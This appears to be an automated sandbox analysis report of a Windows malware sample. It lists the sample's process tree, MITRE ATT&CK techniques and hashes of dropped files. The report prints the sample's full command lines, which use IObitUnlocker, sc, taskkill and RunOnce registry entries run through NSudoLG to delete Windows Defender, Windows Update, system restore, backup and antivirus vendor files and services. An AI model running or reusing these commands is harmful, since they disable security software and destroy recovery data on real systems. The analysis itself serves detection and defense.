ll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      System Location Discovery: System Language Discovery
      PID:4700
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2692
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1476"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4676
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "1476"
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6108
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:4036
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

IObitUnlocker.dll

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
Size 79KB
SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
MD5 2c6233c8dbc560027ee1427f5413e4b1
SHA1 88b7d4b896539abd11a7ad9376ef62d6a7f42896
SHA512 cc8b369b27b303dbe1daef20fa4641f0c4c46b7698d893785fa79877b5a4371574b1bb48a71b0b7b5169a5f09a2444d66e773d8bb42760cb27f4d48a286728a8
SSDEEP 1536:6CxnF5F2kGjd5KrB5ySFjxzI/7DS/7DdL:6CxnXFod8rB59thI/y/R
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.exe

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
Size 2.6MB
SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
MD5 2541290195ffe29716ebbc7aac76d82f
SHA1 d8e22adc26ef1628b826785682830c3d128a0d43
SHA512 b6130c658cfeae6b8ed004cbac85c1080f586bb53b9f423ddabaeb4c69ea965f6bca8c1bd577795ef3d67a32a4bf90c515e4d68524c23866588864d215204f91
SSDEEP 49152:JGuaHn27rhus1L9iE2XsZzkA8TbT9FuAHv:JGuaHna1kcwL/v
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 235KB
SHA256 3d18e3c9f1429e13b20b59e72d6c27ede21a4f748a0df9464187e0d1678d5eb8
MD5 ee93264e37a14760c6c3f55646939c33
SHA1 646f134f2219de5fee7e3c604760c9e8c97af048
SHA512 fdab3f5f687e1becaf1e84d5e5f14dc769f9a752bf8f448d6703ce0c9e9a2f5f95139fc59375a625b3a643e50c3172fbf49b793355af4107c1efbf6c81ebeca0
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUH7:neeeeeeee2
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 281KB
SHA256 de60d2e26c538046ad3948ac72777cfd02b9d9aa4751767949210f942103d0cf
MD5 10a18c1ccb9acc288c6ae644dbba388a
SHA1 6a0b85e3195f602a25cbb29f78519f8e24f7e6dc
SHA512 36f31785283172abb92b8e3c639b6abd299f2c66559ae1de9b7f18194fe717a10dc16e466016769438095cee7faeb102ea82bdfced4510f3c9f7030a1a253724
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHA:neeeeeeeep
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 349KB
SHA256 e15cb85fd914622f0707b68c6e903823091640d1e5e33a0c4363eb03bf350839
MD5 fd60f2ca2556016c271e62acfed300f4
SHA1 51d6f19485da60909788f5f37cb16ddddd25d5ed
SHA512 3be8f9e5026068bb9383d161887079d3e6de4bf3e1ee83c76ff2e7f6bf615e08487a10291b6cddf27e4ebdeac2bdb644c9abe20293d857302ef63f48c09bdd82
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHZ:neeeeeeee4
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 389KB
SHA256 2c4365694c49d27ade0676e6a4d6fc2e8947129d135ec1c9d57362efda3b02d4
MD5 5eae049c9f1eaf3a30d1d6cdde259c8b
SHA1 844297734cd05ea70f4641df46d2fdda2d779011
SHA512 e499ad73241f8225ad94bd00bc7b51c6ee5d3e8d2d3cbc94017ba3e2310184d2dd6be42af84b7304a32c0733fe95c7c1ad3cff625376f2d021ed9c90dae4c628
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHY:neeeeeeee5
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 445KB
SHA256 209defbe3a2066dc45109c69ecede33d54851908bf7202f2ca16ab3f925a3dda
MD5 74321e4f989e672d99a1d92fb6c66a39
SHA1 51a23b6d46478bd9c231a219a4adfde3c6536d6c
SHA512 8c117e81638137bfa14a63dd20ae3aba04bf8c670d2c3750f63bb4ea971c119292efea4bb808a0e29d6f402683cf3b7b7c7e905cebf77fb701dd452de731c5bf
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHu:neeeeeeeeL
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 501KB
SHA256 28ffc4d4d576edf4707f7e7df67d2ee63b5dbaab9fee6c4b84305230a8364dd8
MD5 9046a61bd3498f1f783e5a9d9836c66e
SHA1 b55a4b1c6ce12c4a5b407099ad06e99ff512399f
SHA512 456d7ea8529ed96f08fa2702b0e9e6cb4bcd204e2be7bcad835ada26c7acb80fa8bd72a4c6527775ce04d2d7bdb27ba29f99f495c466ab8bf273c1a9635a7575
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHK:neeeeeeeev
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 608KB
SHA256 267835d43d72c7b9ac09c0fcf444d3ed8c4e00d1cae1690783e0461b3ba0788b
MD5 3f84df42a9288f403188620b5fffa75e
SHA1 f9e626ddfe0c9219c254a359fdf2f47ea43e22cd
SHA512 c84c4465f27bcdba8909e19d8324e46419d90ea9bcad211e902dc139a4f60684d5231a5cb9255af2e43000d73bdad6a267a2e8a6e107a66c25417fd25511667e
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHm:neeeeeeeez
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 629KB
SHA256 84d81331c878aa93edee50a0abafb5fb76bcbf10fdc3c888b5b9d0c91251ff36
MD5 e2543c4de59ee07216794236dc3ad831
SHA1 55b17b8617031d58d088349058feaac6c0670537
SHA512 536b0bc2f9a0e366f6691d32f2dc96a92fdc2b0b40fd12f7aa8025114336006e1fcc3adb0e3d4a02a5748822ad239ecf26b7d4feeb0a0fab9621f5f781b9ec10
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHD:neeeeeeeeW
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 723KB
SHA256 a9729dc604368095ffc0a8103908a40c92b213697f797d463aefbec51eb6ed71
MD5 5e9fdb7668bbe5b26f781174b42f3614
SHA1 09df27814ebf86e37e933360d99e7bca74ba4c86
SHA512 dda0fbdb263f5f0ff44ade552b7a255778fa1ffdc37303ca00d0fa4f2c1807b38970ad9529f898e42d705ec3bd8c07165a5dafcf2f019a126783ee3d251160b1
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHh:neeeeeeeeo
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 55KB
SHA256 151333963d2cb3a3e0d43a70525ad1bcb86e253778bb988f36c841537e280f8d
MD5 6c99d22f6cd5b9c95fd779b933d56461
SHA1 febe482929251a19918689d97a57d7cddfd3819c
SHA512 355dd60f4352aff80365dcfaa92b2eebe218333abba91df130d859b30105564931f636eecb2783bfa089e237ead15e3f2026f66e0d116f4f8b944cdfac65a2c7
SSDEEP 48:E2bMzdnlrEInlr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3lr3n:iXx
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 746KB
SHA256 6182c84e0020f6012bd921995338b99988cbf157487390e62a9473ec991173e3
MD5 3e6378315dfff86e7f0506c9da0d231b
SHA1 3dd45ec1a0bb8a7ee32d616df5032f4597a02478
SHA512 7af824b36012fa1e03ba0bf7b51465132d516bf2f6c4018a830114f9bb879d82832b250de31c4a9f6ed95781a5ceb8aa454cd2cd26db65b8128f4fad60634831
SSDEEP 96:iXx32IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIMeeeeeeee2nQHUHj:neeeeeeeee
